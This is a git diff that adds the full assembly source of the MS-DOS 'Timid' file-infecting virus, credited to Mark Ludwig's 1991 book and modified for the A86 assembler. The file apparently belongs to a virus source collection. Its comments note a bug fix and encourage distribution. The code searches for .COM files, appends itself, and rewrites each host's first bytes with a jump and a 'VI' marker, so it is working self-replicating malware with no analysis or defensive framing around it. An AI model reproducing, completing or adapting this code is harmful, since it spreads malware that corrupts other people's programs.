re-organize

push

MSDOS/T-Index/Virus.MSDOS.Unknown.timid.asm

@@ -0,0 +1,195 @@
+;TIMID VIRUS asm by Mark Ludwig in 1991.
+;
+;-infects .coms only in current directory unless called by dos path statement
+;-announces each file infected.
+;297bytes=eff. length
+;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses"
+;Slightly modified for A86 assembly.
+;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus
+;-fixed bug in code reprinted in his book.
+;all infected files will have VI at byte position 4-5.
+;Mark Ludwig claims copyright on this virus and said he will
+; sue anyone distributing his viruses around.  I say have fun!
.
+
+
+main    segment byte
+        assume cs:main, ds:main, ss:nothing
+
+        org 100h
+
+host:
+        jmp near ptr virus_start
+        db 'VI'                 ;identifies virus
+        mov ah, 4ch
+        mov al, 0
+        int 21h
+
+virus:
+
+comfile db      '*.com',0
+
+virus_start:
+        call get_start
+
+get_start:
+        sub word ptr [vir_start], offset get_start - offset virus
+        mov dx, offset dta
+        mov ah, 1ah
+        int 21h
+        call find_file
+        jnz exit_virus
+        call infect
+        mov dx, offset fname
+        mov [handle] b,24h
+        mov ah, 9
+        int 21h
+exit_virus:                             ;bug was here in book
+        mov dx, 80h
+        mov ah, 1ah
+        int 21h
+        mov bx, [vir_start]
+        mov ax, word ptr [bx+(offset start_code)-(offset virus)]
+        mov word ptr [host], ax
+        mov ax, word ptr [bx+(offset start_code)-(offset virus)+2]
+        mov word ptr [host+2],ax
+        mov al, byte ptr [bx+(offset start_code)-(offset virus)+4]
+        mov byte ptr [host+4], al
+        mov [vir_start], 100h
+        ret
+start_code:
+        nop
+        nop
+        nop
+        nop
+        nop
+
+find_file:
+        mov dx, [vir_start]
+        add dx, offset comfile-offset virus
+        mov cx, 3fh
+        mov ah, 4eh
+        int 21h
+
+ff_loop:
+        or al,al
+        jnz ff_done
+        call file_ok
+        jz ff_done
+        mov ah, 4fh
+        int 21h
+        jmp ff_loop
+
+ff_done:
+        ret
+
+file_ok:
+        mov dx, offset fname
+        mov ax, 3d02h
+        int 21h
+        jc fok_nzend
+        mov bx, ax
+        push bx
+        mov cx, 5
+        mov dx, offset start_image
+        mov ah, 3fh
+        int 21h
+        pop bx
+        mov ah, 3eh
+        int 21h
+        mov ax, word ptr [fsize]
+        add ax, offset endvirus - offset virus
+        jc fok_nzend
+        cmp byte ptr [start_image], 0e9h
+        jnz fok_zend
+
+fok_nzend:
+        mov al, 1
+        or al,al
+        ret
+
+fok_zend:
+        xor al,al
+        ret
+
+infect:
+        mov dx, offset fname
+        mov ax, 3d02h
+        int 21h
+        mov word ptr [handle],ax
+
+        xor cx,cx
+        mov dx,cx
+        mov bx, word ptr [handle]
+        mov ax, 4202h
+        int 21h
+
+        mov cx, offset final -offset virus
+        mov dx, [vir_start]
+        mov bx, word ptr [handle]
+        mov ah, 40h
+        int 21h
+
+        xor cx,cx
+        mov dx, word ptr [fsize]
+        add dx, offset start_code-offset virus
+        mov bx, word ptr [handle]
+        mov ax, 4200h
+        int 21h
+
+        mov cx, 5
+        mov bx, word ptr [handle]
+        mov dx, offset start_image
+        mov ah, 40h
+        int 21h
+
+        xor cx,cx
+        mov dx,cx
+        mov bx, word ptr [handle]
+        mov ax, 4200h
+        int 21h
+
+        mov bx, [vir_start]
+        mov byte ptr [start_image], 0e9h
+        mov ax, word ptr [fsize]
+        add ax, offset virus_start-offset virus-3
+        mov word ptr [start_image+1], ax
+        mov word ptr [start_image+3], 4956h
+
+        mov cx, 5
+        mov dx, offset start_image
+        mov bx, word ptr [handle]
+        mov ah, 40h
+        int 21h
+
+        mov bx, word ptr [handle]
+        mov ah, 3eh
+        int 21h
+        ret
+
+final:
+
+;data area
+endvirus equ $ + 212
+org 0ff2ah
+
+dta db 1ah dup (?)
+fsize dw 0,0
+fname db 13 dup (?)
+handle dw 0
+start_image db 0,0,0,0,0
+vstack dw 50h dup (?)
+vir_start dw (?)
+
+main ends
+end     host
+;end of timid.asm
+
+
+
+
+
+
+
+
+
+